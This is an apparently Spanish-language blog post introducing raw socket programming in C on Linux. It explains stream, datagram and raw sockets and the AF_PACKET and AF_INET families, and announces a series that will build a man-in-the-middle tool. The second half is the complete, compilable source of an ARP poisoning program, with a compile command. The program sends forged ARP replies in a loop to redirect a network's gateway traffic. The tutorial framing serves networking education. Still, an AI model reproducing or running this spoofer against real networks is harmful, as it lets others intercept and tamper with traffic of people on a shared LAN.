En crudo y sin censura RAW SOCKETS I (en C)

Aprovechando que tengo que guardar reposo por un mini accidente laboral (tres puntos... ya sólo me quedan dos para el perro piloto) y no tengo nada mucho mejor que hacer, he decidido ponerme con algo que llevaba postponiendo un tiempo (permitirme la redundancia) ...salsear un poquito con los  SOCKETS en C y ya de paso escribir una entrada en el blog... que me prodigo últimamente bien poco....y no hay que perder las buenas costumbres.

A lo largo de esta serie de entradas intentaré mostrar para qué podemos utilizar la programación de sockets (sobre todo los RAW)  siempre mirando desde un prisma....digamos que oscuro....

Soy consciente que no es un tema fácil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...

Para seguir estos posts es necesario tener unos conocimientos mínimos de redes, un poquito de C, así como disponer de una máquina linux, puesto que este tostón está orientado a sistemas Linux o Unix, como ya es común en mis entradas.

No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es más, os animo a ello.

También quiero dejar claro que que vamos a abordar el tema desde un punto de vista práctico sin entrar mucho en detalles técnicos, si no podría ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburriría, así que lo veremos de soslayo.

¿Por qué C? la respuesta es sencilla: si aprendes en C te será sencillo hacerlo en java, python o C++... Prueba al revés X-O. (respuesta de un profesor).

Es verdad que en python sería más sencillo (utilizando alguno de sus frameworks), imposible en muchos casos con java y más o menos parecido en c++; pero desde el punto de vista pedagógico te pierdes muchos fundamentos valiosos.

Desde mi punto de vista ahora que estoy empezando con C, es simple, elegante y endiabladamente rápido, compacto y eficiente..y muy Oldschool, sin menospreciar en absoluto a Python (pero hoy toca C). 

¿Qué es un Socket? pues como dice la palabra es un enchufe!!...

Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiar cualquier flujo de datos, generalmente de manera fiable y ordenada.

El término socket es también usado como el nombre de una interfaz de programación de aplicaciones (API) para la familia de protocolos de Internet TCP/IP, provista usualmente por el sistema operativo.

Segun esta interfaz tenemos tres grupos de sockets:

Socket de flujo (SOCK_STREAM): Define un servicio orientado a conexión confiable y bidireccional. Los datos se envían sin errores o duplicación y se reciben en el mismo orden de como fueron enviados. Podríamos compararlo con una llamada de teléfono.. recibir y mandar la información en su tiempo y de manera bidireccional es crítico para la comprensión del mensaje, de esto se encarga TCP...Ej dns, tftp, bootp, etc.

Socket de datagrama (SOCK_DGRAM): Define un servicio no orientado a conexión (sobre UDP por ejemplo). Los datagramas se envían como paquetes independientes. El servicio no proporciona garantías; los datos se pueden perder o duplicar y los datagramas pueden llegar fuera de orden. Soporta la bidirecionalidad pero no es su fuerte. Simplificando (demasiado) es similar a enviar una carta.

Socket raw (SOCK_RAW): Estos sockets nos permiten el acceso a los protocolos de comunicaciones,con la posibilidad de hacer uso o no de protocolos de capa 3 (nivel de red) y/o 4 (nivel de transporte), y por lo tanto dándonos el acceso a los protocolos directamente y a la información que recibe en ellos. El uso de sockets de este tipo nos va a permitir la implementación de nuevos protocolos, y por que no decirlo, la modificación de los ya existentes. Suena interesante no?.

Con esta verborrea trato de ubicar un poco al lector, pues después de lo dicho nos vamos a centrar en el este último Socket raw o en crudo este tipo de socket trabaja sin estar ligado a un protocolo de comunicación en concreto, es decir, podemos darle el sabor que necesitemos. Lo veremos más a delante.

Peculiaridades de Socket raw (SOCK_RAW)

- No incluye por defecto TCP; esto se traduce en perdida de fiabilidad.

- No tenemos que especificar puerto en la comunicación.....O_o..... ya que es el propio kernel  que recibe el paquete crudo el encargado de pasar la información de  a todos los sockets que estén escuchando el mismo protocolo, no hay conexiones de red virtuales como tal, es decir, no hay puertos.


- Los campos del Header los deberemos rellenar manualmente, al contrario que si trabajásemos con otro tipo de socket; el kernel no rellena las cabeceras.

- Carece de un estándar.

- Para usar sockets de tipo raw en Unix es necesario contar con privilegios de root.

- hay dos tipos básicos de socket raw, y que la decisión de cuál utilizar depende totalmente del objetivo y requisitos de la aplicación que se desea:

 . Familia AF_PACKET: los sockets raw de la familia AF_PACKET son los de más bajo nivel y permiten leer y escribir cabeceras de protocolos de cualquier capa.

 . Familia AF_INET: los sockets raw AF_INET delegan al sistema operativo la construcción de las cabeceras de enlace y permiten una manipulación «compartida» de las cabeceras de red.

 En breve veremos en detalle la utilidad y funcionamiento de ambas familias.

- Y alguna más que seguro que escapa a mi intelecto (por culpa de algún gen recesivo).

¿Qué podemos hacer con raw socket?

Con los sockets SOCK_DGRAM y SOCK_DGRAM sólo puedes decidir el contenido del PAYLOAD TCP o UDP pero no puedes leer ni escribir nada de lo que hay debajo: cabeceras IP, ICMP, ARP, Ethernet, etc. 

Esto nos permitirá desde diagnoxticar ciertos aspectos de la red que de otro modo sería difícil, componer Datagramas a muy bajo nivel, y construir nuestras propias herramientas a medida de nuestros caprichos.

En definitiva nos va a hacer conocer mejor los protocolos y su seguridad.

Bueno ya para finalizar esta entrada (si no menuda chappa).. y para abrir boca os voy a dejar un codigo fuente de Victor Ramos Mello (que encontre en su Git, el cual me pareció bueno como ejemplo) en el que hace uso de raw socket para manejar el protocolo ARP.

No atorarse!! ya lo  examinaremos paso por paso, y  desarrollaremos más para conseguir una herramienta MITM en próximas entradas para ir ejercitando la mente.

Simple arp poison:

//arp-poison by m0nad
//tested in Linux 3.5.0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <signal.h>

#define IP4LEN 4
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)

int sock;
void
usage()
{
  puts("usage:\t./arp-poison <interface> <gateway ip> <mac addr>");
  puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
  exit(1);
}

void
cleanup()
{
  close(sock);
  exit(0);
}

int
main(int argc, char ** argv)
{
  char packet[PKTLEN];
  struct ether_header * eth = (struct ether_header *) packet;
  struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
  struct sockaddr_ll device;
 
  if (argc < 4) {
    usage();
  }

  sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
  if (sock < 0)
    perror("socket"), exit(1);

  signal(SIGINT, cleanup);

  sscanf(argv[3], "%x:%x:%x:%x:%x:%x",  (unsigned int *) &arp->arp_sha[0],
     (unsigned int *) &arp->arp_sha[1],
     (unsigned int *) &arp->arp_sha[2],
     (unsigned int *) &arp->arp_sha[3],
     (unsigned int *) &arp->arp_sha[4],
     (unsigned int *) &arp->arp_sha[5]);

  sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
                                 (int *) &arp->arp_spa[1],
                                 (int *) &arp->arp_spa[2],
                                 (int *) &arp->arp_spa[3]);

  memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast
  memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
  eth->ether_type = htons(ETH_P_ARP);

  arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
  arp->ea_hdr.ar_pro = htons(ETH_P_IP);
  arp->ea_hdr.ar_hln = ETH_ALEN;
  arp->ea_hdr.ar_pln = IP4LEN;
  arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
  memset(arp->arp_tha, 0xff, ETH_ALEN);
  memset(arp->arp_tpa, 0x00, IP4LEN);

  memset(&device, 0, sizeof(device));
  device.sll_ifindex = if_nametoindex(argv[1]);
  device.sll_family = AF_PACKET;
  memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
  device.sll_halen = htons(ETH_ALEN);

  puts("press ctrl+c to exit.");
  while (1) {
    printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]);
    sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
    sleep(2);
  }
  return 0;
}



para compilarlo:
#gcc arp-poison.c -o arp-poison

un saludo! hasta más ver...

4 comentarios :